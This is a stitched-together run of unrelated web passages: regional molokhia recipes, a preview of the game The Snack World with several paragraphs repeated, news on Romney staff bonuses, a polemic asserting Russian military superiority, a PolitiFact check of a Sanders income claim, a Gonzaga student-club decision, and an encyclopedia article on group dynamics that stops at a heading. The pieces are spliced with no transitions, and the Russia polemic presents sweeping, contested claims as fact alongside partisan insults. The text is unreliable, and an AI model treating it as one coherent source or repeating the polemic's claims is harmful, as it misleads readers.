The Standard Molokhia dish in the Levant is prepared by cooking a meat of some sort in a separate pot by boiling. Later onions and garlic are cooked to a simmer, then water and chicken stock cubes are added to form a broth. After boiling, the cooked chicken or meat and Molokhia leaves are added and further cooked another 15 minutes. Also, in northern Lebanon, a dish called "mloukhiye b zeit" is made using fresh leaves and shoots of the Nalta jute plant, cooked in olive oil, onions, garlic, tomatoes and chilli peppers, it is a popular summer side dish especially in Miniyeh-Danniyeh and Akkar districts.
Bedouins have an old tradition of cooking a different version of the dish. A whole chicken is cut open, the intestines removed, and the innards stuffed with herbs, spices and raw rice then sewn shut with thick thread. The chicken is then boiled to create the broth for the Molokhia soup which, after preparation, is served as five separate components: The Molokhia soup, Arabic flat bread, the chicken (stuffed with flavored rice), additional plain rice and a small bowl with a mixture of lemon juice and sliced chilli. The soup is mixed with rice and lemon juice according to taste, while the chicken is eaten on a separate plate.
Kenyan cuisine [ edit ]
In Kenya, the dish is known as Mutere (Luragoli), Murere (Luhya), Apoth (luo), Mrenda (Gikuyu, Embu, Meru), and several other native language names. It is a very popular vegetable dish among communities in the Western region (Vihiga, Kakamega, Busia, Trans Nzoia and Bungoma Counties) and in Nyanza region (Kisumu, Siaya, Homa Bay, Kisii, Migori and Nyamira Counties). Both regions are in the area around Lake Victoria. The jute leaves are separated from the stems, washed and then boiled in lightly salted water with ligadi (a raw form of soda (bicarbonate of soda), or munyu (traditional plant-based salt). The leaves are boiled with other leafy vegetables such as likuvi (Vigna unguiculata (cowpea) leaves) or mito (Chipilín) to reduce its sliminess and help soften the other vegetable leaves. In some cases, after boiling for about thirty minutes, the vegetables are stewed with tomatoes and onions in oil. (There are several general ways to prepare the mutere and more ways in which it is served). Spices such as curry, pepper, masala, or coriander are optional. Mutere is served with Ugali (a staple stiff cooked cereal meal) and can be accompanied with meat or chicken.
Tunisian cuisine [ edit ]
Tunisian mloukhiya stew with meat.
In Tunisia, the dish is generally prepared quite differently from the Egyptian method. The leaves, already separated from the stems are dried then ground to produce a very fine powder and stored in jars or other tightly closed containers. In Tunisian cooking, Mulukhya, or Mloukhiya, takes 5 to 7 hours to prepare, which is often done to halfway in the evening and completed in the morning. The powder is prepared with olive oil and some tomato paste into a sauce, not soup, and big chunks of chuck beef are often added halfway through cooking. The dark green sauce simmers on low heat and is left to thicken to the consistency of tomato sauce. The sauce is served in small deep plates with a piece of beef and eaten with preferably white hardy French or Italian bread. In certain regions where beef is not common, lamb is used but cooks for a much shorter time.
Cypriot cuisine [ edit ]
In Cyprus the dish is known as Molohiya. It is popular among the Turkish Cypriots. The Jute leaves are cultivated and grown in the spring months leading up to the summer wherein they are harvested and the leaves are separated from the stem and dried whole. Cooked in a tomato based broth with onions and garlic. Lamb on the bone or Chicken with bone may also be added. For optimal results lemon and potato are also used to help keep the consistency from becoming too mucilaginous or slimy. It is served with a nice broth consistency with sour dough bread.
West African cuisines [ edit ]
The leaf is a common food in many tropical West African countries. It is believed that the "drip tips" on the leaves serve to shed excess water from the leaf from the heavy rains in the tropics. In Sierra Leone it is called Kren-Kre (krain krain or crain crain), and is eaten in a palm oil sauce served with rice or cassava fufu (a traditional food made from cassava), or is steamed and mixed into rice just before eating a non-palm oil sauce. Among the yoruba's in south-west Nigeria, it is called Ewedu and served with cooked yam flour (Amala). In Liberia it is called Palaver sauce and is served with rice or fufu. In The Gambia it is referred to as kereng-kereng and is typically used to make supakanja (a dish mostly served on Saturdays and made with okra, red palm oil, fish and meat).
Haitian cuisines [ edit ]
In Haiti, the leafy green dish is commonly known as Lalo and is traditionally cooked with or without meat. When considering meat, Haitians utilize beef or pork shoulder. Seafood such as blue crabs, shrimp or snow crab legs are also options. It is traditionally served with white rice.
Nutrition [ edit ]
The leaves are rich in Folic acid, beta-Carotene, Iron, Calcium, Vitamin C and more than 32 vitamins, minerals and trace elements. The plant has a potent antioxidant activity with a significant α-tocopherol equivalent Vitamin E.[3][16][17][13]
Ancient references [ edit ]
The word for the plant is found in ancient Mediterranean languages such as Arabic and Greek.[18] Cognates of the word include Ancient Greek μαλάχη (malákhē) or μολόχη (molókhē), Modern Greek μολόχα (molóha), modern Arabic: ملوخية‎ (mulukhiyah) and modern Hebrew: מלוחיה‎ (malukhia).[18][19]
Al-Hakim bi-Amr Allah banned mulukhiyah sometime during his reign (996–1021 CE). It is claimed he thought that the dish would lead women to debauchery.[20] While the ban was eventually lifted after the end of his reign, the Druze, who hold Al-Hakim bi-Amr Allah in high regard, continue to respect the ban, and do not eat mulukhiyah of any kind to this day.[citation needed]
Full avatar customization
Male/Female, change voice, appearance and name. Also looks like you can make your own character card, with customizable background and pose. Perhaps for Streetpass and/or multiplayer?
Male/Female, change voice, appearance and name. Also looks like you can make your own character card, with customizable background and pose. Perhaps for Streetpass and/or multiplayer? The world: French Toaster
A bustling city with tons of stuff to do. Department store, convenience store ("Hero Mart"), vending machines, weapon shop, farm, cafe, and royal castle are confirmed so far to be in the game.
A bustling city with tons of stuff to do. Department store, convenience store ("Hero Mart"), vending machines, weapon shop, farm, cafe, and royal castle are confirmed so far to be in the game. Battle System
Jara can be selected from the touch screen and changed on the fly as you fight in real time against enemies. On the world map, battles are triggered by touching enemies, and there don't seem to be random battles in dungeons. Enemy weaknesses are decided by elements (fire/water/etc), species and even color. Dungeon ends with a boss fight, or at least some of them.
Jara can be selected from the touch screen and changed on the fly as you fight in real time against enemies. On the world map, battles are triggered by touching enemies, and there don't seem to be random battles in dungeons. Enemy weaknesses are decided by elements (fire/water/etc), species and even color. Dungeon ends with a boss fight, or at least some of them. Multiplayer
- Local and wireless co-op
- Up to 4 players
- Divide roles (looks like sword/axe/staff/bow)
- Short messages are hotkeyed for communication
- Explore dungeons together and search for rare items
- Fight against bosses
Above sounds very similar to Yo-kai Watch 2's multiplayer mode. If so, it's probably an entirely different mode from the main game, disconnected from quests/dungeons in the main story mode. In other words, you probably can't play the "campaign" with friends, but this is unconfirmed.
- Local and wireless co-op - Up to 4 players - Divide roles (looks like sword/axe/staff/bow) - Short messages are hotkeyed for communication - Explore dungeons together and search for rare items - Fight against bosses Above sounds very similar to Yo-kai Watch 2's multiplayer mode. If so, it's probably an entirely different mode from the main game, disconnected from quests/dungeons in the main story mode. In other words, you probably can't play the "campaign" with friends, but this is unconfirmed. Dungeons
The official site has revealed a couple of the dungeon areas you will visit in the game. Almost all of the names are food puns. Take a closer look at them here.
- Taraban Ganian: marine themed area with water type enemies, "sea god" (Neptune?) boss lurks here
- Minestrone Forest: a forest distant from French Toaster. There be Sirens here.
- Makaro Mountain: A haunted mountain peak, with tons of ghost and undead type monsters.
- Lost Beef: Mines with mountain ridges shaped like meat. Many adventurers have come here and become lost.
The official site has revealed a couple of the dungeon areas you will visit in the game. Almost all of the names are food puns. Take a closer look at them here. - Taraban Ganian: marine themed area with water type enemies, "sea god" (Neptune?) boss lurks here - Minestrone Forest: a forest distant from French Toaster. There be Sirens here. - Makaro Mountain: A haunted mountain peak, with tons of ghost and undead type monsters. - Lost Beef: Mines with mountain ridges shaped like meat. Many adventurers have come here and become lost. Monsters
The Snack World contains many enemies with cute designs, as well as bigger badder boss monsters. You can find some examples of their designs here.
The Snack World contains many enemies with cute designs, as well as bigger badder boss monsters. You can find some examples of their designs here. Jara Brands
Click to expand... here. At the reveal of the game Hino said that the in-game drop rate of the rarest brand would be close to 1% and this would also be reflected in the way Trejara Boxes are packaged... Collectors beware .
Ten Romney for President staffers received bonuses — as much as $37,500 — in September, according to Federal Election Commission filings released today. Romney political director Rich Beeson scored the largest amount, taking in a combined $75,000 in two payments on August 31, after the Republican National Convention, and September 13. According to an spokesperson, the money was paid out of the campaign's account for the primaries, and are "win bonuses as part of people's employee agreements."
Win bonuses? That's a little premature. This isn't the first time that the Romney campaign has sent out big bonus checks to staffers. Last quarter, they gave out over $100,000 in bonuses as well. Ironically, while they're doling out those big checks (which is simply not done on the Democratic side--typically, consultants will get a commission of the ad buys), the Romney campaign isn't getting the donations the Obama campaign is getting
President Barack Obama’s re-election committee again raised more money than Republican nominee Mitt Romney last month, though the challenger and his allies -- including super-political action committees -- entered October with more combined money to spend. Romney, the Republican National Committee and super-PACs Restore Our Future and American Crossroads began the final full month of the 2012 campaign with $178 million to spend, compared with $111 million for Obama, the Democratic National Committee and the super-PAC Priorities USA Action, according to reports filed with the Federal Election Commission. The DNC’s coffer included $10.5 million it borrowed. Even so, Obama had direct control over more money than Romney entering October, with the president’s campaign having $99.3 million on hand compared with a bank account balance of $63.1 million for the former Massachusetts governor. That means spending decisions on most of the money on Romney’s side of the leger falls to officials with the Republican National Committee and the super-PACS supporting him.
Do you think the donors wonder about these big paychecks going to staffers instead of towards furthering the campaign? Does that decision to pay unusually high bonuses countermand that Romney theme of a smart businessman who can fix the economy?
Before the idiots in Washington get us blown off of the face of the earth, the morons had better come to terms with the fact that the US military is now second class compared to the Russian military.
For example, the US Navy has been made obsolete by Russia’s hypersonic maneuvering Zircon missile.
For example, the speed and trajectory changes of the Russian Sarmat ICBM has nullified Washington’s ABM system. One Sarmet is sufficient to take out Great Britain, or France, or Germany, or Texas. It only takes a dozen to wipe out the United States.
Why don’t you know this?
For example, Washington’s enormously expensive F-35 jet fighter is no match whatsoever for Russian fighters.
For example, US tanks are no match for Russian tanks.
For example, Russian troops are superior in their combat readiness and training and are highly motivated and not worn out by 16 years of pointless and frustrating wars over no one knows what.
If the US ends up in a catastrophic war with a militarily superior power, it will be the fault of Hillary Clinton, the DNC, former CIA director John Brennan and the military/security complex, the presstitute media, and the American liberal/progressive/left, which, made completely stupid by Identity Politics, has allied with neoconservative warmongers against President Trump and prevented Trump from normalizing relations with Russia.
Without normal relations with Russia, nuclear Armageddon hangs over us like the sword of Damocles.
Do you not agree that it is outrageous, astounding, inexcusable, inexplicable, reckless and irresponsible that the Democratic Party, the print and TV media, the military/security complex that is supposed to protect us, and the liberal/progressive/left are working hand in glove to destroy the human race?
Why is there so much opposition to normalizing relations with a nuclear power? Why did even the Greens jump on the anti-Trump propaganda bandwagon. Don’t the Greens understand the consequences of nuclear war?
Why is there such a crazed, insane effort to eject a president who wants to normalize relations with Russia?
Why are these questions not part of the public discourse?
The failure of political leadership, of media, of the intellectual class in America is total.
When U.S. Sen. Bernie Sanders, I-Vt., finds a microphone these days, you can expect him to harp on the erosion of the American middle class.
Sanders, who has said he is considering a 2016 presidential run and caucuses with Democrats, made a striking point about the country’s income inequality over the last 40 years in an April 19 interview on Fox News Sunday.
"What we're seeing, Chris, right now is that for 40 years, the American middle class has been disappearing. Millions of people are working longer hours for lower wages despite a huge increase in technology and productivity," Sanders said. "And what we have seen during that period is a massive transfer of trillions of dollars from the middle class to the top one-tenth of 1 percent of America — massive wealth and income inequality, where you have 99 percent of all new income today going to the top 1 percent."
With the financial rift between everyday and mega-rich Americans poised to dominate the 2016 White House race, PolitiFact wanted to examine Sanders’s statement about 99 percent of all new income going to the top 1 percent.
The research behind the claim
Sanders used a similar line about the top 1 percent taking home 99 percent of all new income during a Brookings Institution speech a couple months ago, saying, "In fact, the latest information that we have shows that in recent years, over 99 percent of all new income generated in the economy has gone to the top 1 percent."
The Washington Post Fact Checker awarded that claim One Pinocchio, a designation for claims that include in part a "selective telling of the truth." Sanders did not agree with the conclusion and doubled down on the accuracy of his claim in a displeased letter.
Sanders’ office told us the senator was talking about pre-tax income growth from 2009-13 during his Fox interview. A Sanders spokesman highlighted a New York Times Upshot article in January by Justin Wolfers , a senior fellow at the Peterson Institute for International Economics and professor of economics and public policy at the University of Michigan.
Wolfers based his calculations on the work of University of California Berkeley economics professor Emmanuel Saez, who uses pre-tax income reported on Internal Revenue Service filings in his studies of top incomes, including capital gains. Saez and French economist Thomas Piketty have written about the disparate recovery from the recession among America’s two big income classes for several years. Saez found most recently that the top 1 percent captured 91 percent of all income gains from 2009-12.
Using Saez’s preliminary 2013 numbers, Wolfers stretched the window to account for an average of 2012-13 incomes (He used an average for those years because tax rates on top earners increased in 2013, prompting some to shift more income to 2012.).
The takeaway?
The average income for the richest 1 percent of Americans, excluding capital gains, rose from $871,100 in 2009 to $968,000 from 2012-13, he wrote. The 99 percent, on the other hand, experienced a drop in average incomes from $44,000 to $43,900, Wolfers said. The calculation excludes government benefits in the form of Social Security, welfare, tax credits, food stamps and so on.
"That is, so far all of the gains of the recovery have gone to the top 1 percent," Wolfers wrote for the New York Times post.
Sanders spokesman Jeff Frank said his office double-checked the statistic with Wolfers, who double-checked his own work with Saez.
Saez told PolitiFact that the key to understanding the statistic is knowing that it’s measuring pre-tax, pre-government benefit income.
"That's the key stat to think about how the market allocates incomes in the first place," Saez said. "Anybody should be worried that the recovery from the Great Recession has been so skewed in terms of market incomes."
Other points to consider
Other economists argue that the more comprehensive way to talk about income is by looking at earnings after taxes and how government alters the income picture. That measure is called net or disposable income.
Under this measure, the income differences are not as badly skewed, Saez said.
That’s because on one side, government programs are making life easier for low-income Americans through things such as Social Security, unemployment compensation, veterans’ benefits, food stamps, welfare, housing assistance, health subsidies, and the Earned Income Tax Credit, said Brookings Institution fellow Gary Burtless.
At the same time, tax policy has become more progressive since 2009 through lower taxes for middle- and lower-income Americans and higher taxes for higher earners.
The drawback with this analysis, however, is it does not reflect how people are "sharing directly in the rewards of the market," said Urban Institute fellow Eugene Steuerle, who has written about the different definitions of income . For Steuerle, all of the numbers matter, though each one holds a different meaning depending on the policy question.
Steuerle is a fan of the Congressional Budget Office , the nonpartisan research arm of Congress, which he said offers a more comprehensive look at the income gap by including labor, business, capital and retirement income. Another way to think of it is comparing living standards.
In November 2014, CBO released a study of household income taxes, which compared income growth after taxes since 1977. The problem is it only goes up to 2011, so we cannot compare it to the 2009-13 market measure. Other researchers have probed inequality in income growth over other time periods (a couple detailed here ), but they do not apply to Sanders’s recovery timeframe.
"Is there a lot of inequality in living standards after tax and transfers? The right data to answer that question is simply unavailable for recent years," Wolfers said.
Often, income inequality measures do not account for health care, the costs of which are often employer-paid and can level the playing field between low- and middle-income earners and the super rich, Steuerle said.
Another point to keep in mind: The country’s top earners experienced the biggest percentage of income declines during the recession — a point that Sanders’s claim does not account for because it picks up with the recovery, Burtless said.
To Burtless, Sanders’s estimate is correct in the narrow way he meant it but would be overstated under a broader income definition that extends pre-2009.
Our ruling
Sanders said that "99 percent of all new income (is) going to the top 1 percent."
Sanders is referring to pre-tax, pre-transfer income growth during the economic recovery from 2009-13.
We found consensus among economists that the statistic and calculation offered by Sanders is credible, but it’s just not the only way to consider income inequality. Other measures may be equally valid and produce different results. But economists say specific data does not yet exist.
Spokane’s Gonzaga University has denied a Knights of Columbus group application to be recognized as an official student organization. Those seeking the status were notified of the University’s decision at a meeting on March 7.
The group was notified of the decision by Dean of Students Kassi Kain and Assistant Director for Student Activities Dave Rovick.
“The Knights of Columbus, by their very nature, is a men’s organization in which only Catholics may participate via membership,” says a letter obtained by The Cardinal Newman Society written by Sue Weitz, Vice President for Student Life. “These criteria are inconsistent with the policy and practice of student organization recognition at Gonzaga University, as well as the University’s commitment to non-discrimination based on certain characteristics, one of which is religion.”
“I …believe strongly in the University’s commitment to non-discrimination and inclusivity,” continues Weitz in the letter. “If Gonzaga was an institution that served only Catholics and limited the benefits of the collegiate experience only to them, the decision-making process may have been different.”
“To embrace the diversity and yet endorse a group based on faith exclusivity is a challenge that cannot be reconciled at this time,” Weitz wrote in closing. “It is a decision about social justice, equity, and the desire of the University to create and maintain an environment in which none are excluded.”
The three main factors affecting a team's cohesion (working together well) are: environmental, personal and leadership.
History [ edit ]
The history of group dynamics (or group processes)[2] has a consistent, underlying premise: 'the whole is greater than the sum of its parts.' A social group is an entity that has qualities which cannot be understood just by studying the individuals that make up the group. In 1924, Gestalt psychologist Max Wertheimer proposed ‘There are entities where the behaviour of the whole cannot be derived from its individual elements nor from the way these elements fit together; rather the opposite is true: the properties of any of the parts are determined by the intrinsic structural laws of the whole’ (Wertheimer 1924, p. 7).[3] (The proposition remains questionable, since modern biologists and game theorists do look to explain the 'structural laws of the whole' in terms of 'the way the elements fit together'.)
As a field of study, group dynamics has roots in both psychology and sociology. Wilhelm Wundt (1832–1920), credited as the founder of experimental psychology, had a particular interest in the psychology of communities, which he believed possessed phenomena (human language, customs, and religion) that could not be described through a study of the individual.[2] On the sociological side, Émile Durkheim (1858–1917), who was influenced by Wundt, also recognized collective phenomena, such as public knowledge. Other key theorists include Gustave Le Bon (1841–1931) who believed that crowds possessed a 'racial unconscious' with primitive, aggressive, and antisocial instincts, and William McDougall (psychologist), who believed in a 'group mind,' which had a distinct existence born from the interaction of individuals.[2] (The concept of a collective consciousness is not essential to group dynamics.)
Eventually, the social psychologist Kurt Lewin (1890–1947) coined the term group dynamics to describe the positive and negative forces within groups of people.[4] In 1945, he established The Group Dynamics Research Center at the Massachusetts Institute of Technology, the first institute devoted explicitly to the study of group dynamics.[5] Throughout his career, Lewin was focused on how the study of group dynamics could be applied to real-world, social issues.
Increasingly, research has applied evolutionary psychology principles to group dynamics. As humans social environments became more complex, they acquired adaptations by way of group dynamics that enhance survival. Examples include mechanisms for dealing with status, reciprocity, identifying cheaters, ostracism, altruism, group decision, leadership, and intergroup relations.[6] Also, a combination of evolution and game theory has been used to explain the development and maintenance of cooperative behavior between individuals in a group.
Key theorists [ edit ]
Gustave Le Bon [ edit ]
Gustave Le Bon was a French social psychologist whose seminal study, The Crowd: A Study of the Popular Mind (1896) led to the development of group psychology.
William McDougall [ edit ]
The British psychologist William McDougall in his work The Group Mind (1920) researched the dynamics of groups of various sizes and degrees of organization.
Sigmund Freud [ edit ]
In Group Psychology and the Analysis of the Ego, (1922), Sigmund Freud based his preliminary description of group psychology on Le Bon's work, but went on to develop his own, original theory, related to what he had begun to elaborate in Totem and Taboo. Theodor Adorno reprised Freud's essay in 1951 with his Freudian Theory and the Pattern of Fascist Propaganda, and said that "It is not an overstatement if we say that Freud, though he was hardly interested in the political phase of the problem, clearly foresaw the rise and nature of fascist mass movements in purely psychological categories."[7]
Jacob L. Moreno [ edit ]
Jacob L. Moreno was a psychiatrist, dramatist, philosopher and theoretician who coined the term "group psychotherapy" in the early 1930s and was highly influential at the time.
Kurt Lewin [ edit ]
Kurt Lewin (1943, 1948, 1951) is commonly identified as the founder of the movement to study groups scientifically. He coined the term group dynamics to describe the way groups and individuals act and react to changing circumstances.[8]
William Schutz [ edit ]
William Schutz (1958, 1966) looked at interpersonal relations as stage-developmental, inclusion (am I included?), control (who is top dog here?), and affection (do I belong here?). Schutz sees groups resolving each issue in turn in order to be able to progress to the next stage.
Conversely, a struggling group can devolve to an earlier stage, if unable to resolve outstanding issues at its present stage. Schutz referred to these group dynamics as "the interpersonal underworld," group processes which are largely unseen and un-acknowledged, as opposed to "content" issues, which are nominally the agenda of group meetings.[9][10]
Wilfred Bion [ edit ]
Wilfred Bion (1961) studied group dynamics from a psychoanalytic perspective, and stated that he was much influenced by Wilfred Trotter for whom he worked at University College Hospital London, as did another key figure in the Psychoanalytic movement, Ernest Jones. He discovered several mass group processes which involved the group as a whole adopting an orientation which, in his opinion, interfered with the ability of a group to accomplish the work it was nominally engaged in.[11] His experiences are reported in his published books, especially Experiences in Groups. The Tavistock Institute has further developed and applied the theory and practices developed by Bion.
Bruce Tuckman [ edit ]
Bruce Tuckman (1965) proposed the four-stage model called Tuckman's Stages for a group. Tuckman's model states that the ideal group decision-making process should occur in four stages:
Forming (pretending to get on or get along with others)
(pretending to get on or get along with others) Storming (letting down the politeness barrier and trying to get down to the issues even if tempers flare up)
(letting down the politeness barrier and trying to get down to the issues even if tempers flare up) Norming (getting used to each other and developing trust and productivity)
(getting used to each other and developing trust and productivity) Performing (working in a group to a common goal on a highly efficient and cooperative basis)
Tuckman later added a fifth stage for the dissolution of a group called adjourning. (Adjourning may also be referred to as mourning, i.e. mourning the adjournment of the group). This model refers to the overall pattern of the group, but of course individuals within a group work in different ways. If distrust persists, a group may never even get to the norming stage.
M. Scott Peck [ edit ]
M. Scott Peck developed stages for larger-scale groups (i.e., communities) which are similar to Tuckman's stages of group development.[12] Peck describes the stages of a community as:
Pseudo-community
Chaos
Emptiness
True Community
Communities may be distinguished from other types of groups, in Peck's view, by the need for members to eliminate barriers to communication in order to be able to form true community. Examples of common barriers are: expectations and preconceptions; prejudices; ideology, counterproductive norms, theology and solutions; the need to heal, convert, fix or solve and the need to control. A community is born when its members reach a stage of "emptiness" or peace.
Richard Hackman [ edit ]
Richard Hackman developed a synthetic, research-based model for designing and managing work groups. Hackman suggested that groups are successful when they satisfy internal and external clients, develop capabilities to perform in the future, and when members find meaning and satisfaction in the group. Hackman proposed five conditions that increase the chance that groups will be successful.[13] These include:
Being a real team: which results from having a shared task, clear boundaries which clarify who is inside or outside of the group, and stability in group membership. Compelling direction: which results from a clear, challenging, and consequential goal. Enabling structure: which results from having tasks which have variety, a group size that is not too large, talented group members who have at least moderate social skill, and strong norms that specify appropriate behaviour. Supportive context: which occurs in groups nested in larger groups (e.g. companies). In companies, supportive contexts involves a) reward systems that reward performance and cooperation (e.g. group based rewards linked to group performance), b) an educational system that develops member skills, c) an information and materials system that provides the needed information and raw materials (e.g. computers). Expert coaching: which occurs on the rare occasions when group members feel they need help with task or interpersonal issues. Hackman emphasizes that many team leaders are overbearing and undermine group effectiveness.
Intragroup dynamics [ edit ]
Intragroup dynamics (also referred to as ingroup-, within-group, or commonly just ‘group dynamics’) are the underlying processes that give rise to a set of norms, roles, relations, and common goals that characterize a particular social group. Examples of groups include religious, political, military, and environmental groups, sports teams, work groups, and therapy groups. Amongst the members of a group, there is a state of interdependence, through which the behaviours, attitudes, opinions, and experiences of each member are collectively influenced by the other group members.[14] In many fields of research, there is an interest in understanding how group dynamics influence individual behaviour, attitudes, and opinions.
The dynamics of a particular group depend on how one defines the boundaries of the group. Often, there are distinct subgroups within a more broadly defined group. For example, one could define U.S. residents (‘Americans’) as a group, but could also define a more specific set of U.S. residents (for example, 'Americans in the South'). For each of these groups, there are distinct dynamics that can be discussed. Notably, on this very broad level, the study of group dynamics is similar to the study of culture. For example, there are group dynamics in the U.S. South that sustain a culture of honor, which is associated with norms of toughness, honour-related violence, and self-defence.[15][16]
Group formation [ edit ]
Group formation starts with a psychological bond between individuals. The social cohesion approach suggests that group formation comes out of bonds of interpersonal attraction.[2] In contrast, the social identity approach suggests that a group starts when a collection of individuals perceive that they share some social category (‘smokers’, ‘nurses,’ ‘students,’ ‘hockey players’), and that interpersonal attraction only secondarily enhances the connection between individuals.[2] Additionally, from the social identity approach, group formation involves both identifying with some individuals and explicitly not identifying with others. So to say, a level of psychological distinctiveness is necessary for group formation. Through interaction, individuals begin to develop group norms, roles, and attitudes which define the group, and are internalized to influence behaviour.[17]
Emergent groups arise from a relatively spontaneous process of group formation. For example, in response to a natural disaster, an emergent response group may form. These groups are characterized as having no preexisting structure (e.g. group membership, allocated roles) or prior experience working together.[18] Yet, these groups still express high levels of interdependence and coordinate knowledge, resources, and tasks.[18]
Joining groups [ edit ]
Joining a group is determined by a number of different factors, including an individual's personal traits;[19] gender;[20] social motives such as need for affiliation,[21] need for power,[22] and need for intimacy;[23] attachment style;[24] and prior group experiences.[25] Groups can offer some advantages to its members that would not be possible if an individual decided to remain alone, including gaining social support in the forms of emotional support,[26] instrumental support,[27] and informational support.[27] It also offers friendship, potential new interests, learning new skills, and enhancing self esteem.[28] However, joining a group may also cost an individual time, effort, and personal resources as they may conform to social pressures and strive to reap the benefits that may be offered by the group.[29]
The Minimax Principle is a part of social exchange theory that states that people will join and remain in a group that can provide them with the maximum amount of valuable rewards while at the same time, ensuring the minimum amount of costs to themselves[30]. However, this does not necessarily mean that a person will join a group simply because the reward/cost ratio seems attractive. According to Howard Kelley and John Thibaut, a group may be attractive to us in terms of costs and benefits, but that attractiveness alone does not determine whether or not we will join the group. Instead, our decision is based on two factors: our comparison level, and our comparison level for alternatives[30].
In John Thibaut and Harold Kelley's social exchange theory, comparison level is the standard by which an individual will evaluate the desirability of becoming a member of the group and forming new social relationships within the group[30]. This comparison level is influenced by previous relationships and membership in different groups. Those individuals who have experienced positive rewards with few costs in previous relationships and groups will have a higher comparison level than a person who experienced more negative costs and fewer rewards in previous relationships and group memberships. According to the social exchange theory, group membership will be more satisfying to a new prospective member if the group's outcomes, in terms of costs and rewards, are above the individual's comparison level. As well, group membership will be unsatisfying to a new member if the outcomes are below the individual's comparison level[30].
Comparison level only predicts how satisfied a new member will be with the social relationships within the group.[31] To determine whether people will actually join or leave a group, the value of other, alternative groups needs to be taken into account.[31] This is called the comparison level for alternatives. This comparison level for alternatives is the standard by which an individual will evaluate the quality of the group in comparison to other groups the individual has the opportunity to join. Thiabaut and Kelley stated that the "comparison level for alternatives can be defined informally as the lowest level of outcomes a member will accept in the light of available alternative opportunities.”[32]
Joining and leaving groups is ultimately dependent on the comparison level for alternatives, whereas member satisfaction within a group depends on the comparison level[31]. To summarize, if membership in the group is above the comparison level for alternatives and above the comparison level, the membership within the group will be satisfying and an individual will be more likely to join the group. If membership in the group is above the comparison level for alternatives but below the comparison level, membership will be not be satisfactory; however, the individual will likely join the group since no other desirable options are available. When group membership is below the comparison level for alternatives but above the comparison level, membership is satisfying but an individual will be unlikely to join. If group membership is below both the comparison and alternative comparison levels, membership will be dissatisfying and the individual will be less likely to join the group.
Types of groups [ edit ]
Groups can vary drastically from one another. For example, three best friends who interact every day as well as a collection of people watching a movie in a theater both constitute a group. Past research has identified four basic types of groups which include, but are not limited to: primary groups, social groups, collective groups, and categories.[31] It is important to define these four types of groups because they are intuitive to most lay people. For example, in an experiment,[33] participants were asked to sort a number of groups into categories based on their own criteria. Examples of groups to be sorted were a sports team, a family, women, and people at a bus stop. It was found that participants consistently sorted groups into four categories: intimacy groups, task groups, loose associations, and social categories. These categories are conceptually similar to the four basic types to be discussed. Therefore, it seems that individuals intuitively define aggregations of individuals in this way.
Primary groups [ edit ]
Primary groups are characterized by relatively small, long-lasting groups of individuals who share personally meaningful relationships. Since these groups often interact face-to-face, they know each other very well and are unified. Individuals that are a part of primary groups consider the group to be an important part of their lives. Consequently, members strongly identify with their group, even without regular meetings.[31] Cooley[34] believed that primary groups were essential for integrating individuals into their society since this is often their first experience with a group. For example, individuals are born into a primary group, their family, which creates a foundation for them to base their future relationships. Individuals can be born into a primary group; however, primary groups can also form when individuals interact for extended periods of time in meaningful ways.[31] Examples of primary groups include family, close friends, and gangs.
Social groups [ edit ]
A social group is characterized by a formally organized group of individuals who are not as emotionally involved with each other as those in a primary group. These groups tend to be larger, with shorter memberships compared to primary groups.[31] Further, social groups do not have as stable memberships, since members are able to leave their social group and join new groups. The goals of social groups are often task-oriented as opposed to relationship-oriented.[31] Examples of social groups include coworkers, clubs, and sports teams.
Collectives [ edit ]
Collectives are characterized by large groups of individuals who display similar actions or outlooks. They are loosely formed, spontaneous, and brief.[31] Examples of collectives include a flash mob, an audience at a movie, and a crowd watching a building burn.
Categories [ edit ]
Categories are characterized by a collection of individuals who are similar in some way.[31] Categories become groups when their similarities have social implications. For example, when people treat others differently because of their race, this creates groups of different races.[31] For this reason, categories can appear to be higher in entitativity and essentialism than primary, social, and collective groups. Entitativity is defined by Campbell[35] as the extent to which collections of individuals are perceived to be a group. The degree of entitativity that a group has is influenced by whether a collection of individuals experience the same fate, display similarities, and are close in proximity. If individuals believe that a group is high in entitativity, then they are likely to believe that the group has unchanging characteristics that are essential to the group, known as essentialism.[36] Examples of categories are New Yorkers, gamblers, and women.
Group membership and social identity [ edit ]
The social group is a critical source of information about individual identity.[37] An individual’s identity (or self-concept) has two components: personal identity and social identity (or collective self). One’s personal identity is defined by more idiosyncratic, individual qualities and attributes.[2] In contrast, one’s social identity is defined by his or her group membership, and the general characteristics (or prototypes) that define the group and differentiate it from others.[2] We naturally make comparisons between our own group and other groups, but we do not necessarily make objective comparisons. Instead, we make evaluations that are self-enhancing, emphasizing the positive qualities of our own group (see ingroup bias).[2] In this way, these comparisons give us a distinct and valued social identity that benefits our self-esteem. Our social identity and group membership also satisfies a need to belong.[38] Of course, individuals belong to multiple groups. Therefore, one’s social identity can have several, qualitatively distinct parts (for example, one’s ethnic identity, religious identity, and political identity).[39]
Optimal distinctiveness theory suggests that individuals have a desire to be similar to others, but also a desire to differentiate themselves, ultimately seeking some balance of these two desires (to obtain optimal distinctiveness).[40] For example, one might imagine a young teenager in the United States who tries to balance these desires, not wanting to be ‘just like everyone else,’ but also wanting to ‘fit in’ and be similar to others. One’s collective self may offer a balance between these two desires.[2] That is, to be similar to others (those who you share group membership with), but also to be different from others (those who are outside of your group).
Group cohesion [ edit ]
In the social sciences, group cohesion refers to the processes that keep members of a social group connected.[4] Terms such as attraction, solidarity, and morale are often used to describe group cohesion.[4] It is thought to be one of the most important characteristics of a group, and has been linked to group performance,[41] intergroup conflict[42] and therapeutic change.[43]
Group cohesion, as a scientifically studied property of groups, is commonly associated with Kurt Lewin and his student, Leon Festinger. Lewin defined group cohesion as the willingness of individuals to stick together, and believed that without cohesiveness a group could not exist.[4] As an extension of Lewin’s work, Festinger (along with Stanley Schachter and Kurt Back) described cohesion as, “the total field of forces which act on members to remain in the group” (Festinger, Schachter, & Back, 1950, p. 37).[4] Later, this definition was modified to describe the forces acting on individual members to remain in the group, termed attraction to the group.[4] Since then, several models for understanding the concept of group cohesion have been developed, including Albert Carron’s hierarchical model[44] and several bi-dimensional models (vertical v. horizontal cohesion, task v. social cohesion, belongingness and morale, and personal v. social attraction). Before Lewin and Festinger, there were, of course, descriptions of a very similar group property. For example, Emile Durkheim described two forms of solidarity (mechanical and organic), which created a sense of collective conscious and an emotion-based sense of community.[45]
Black sheep effect [ edit ]
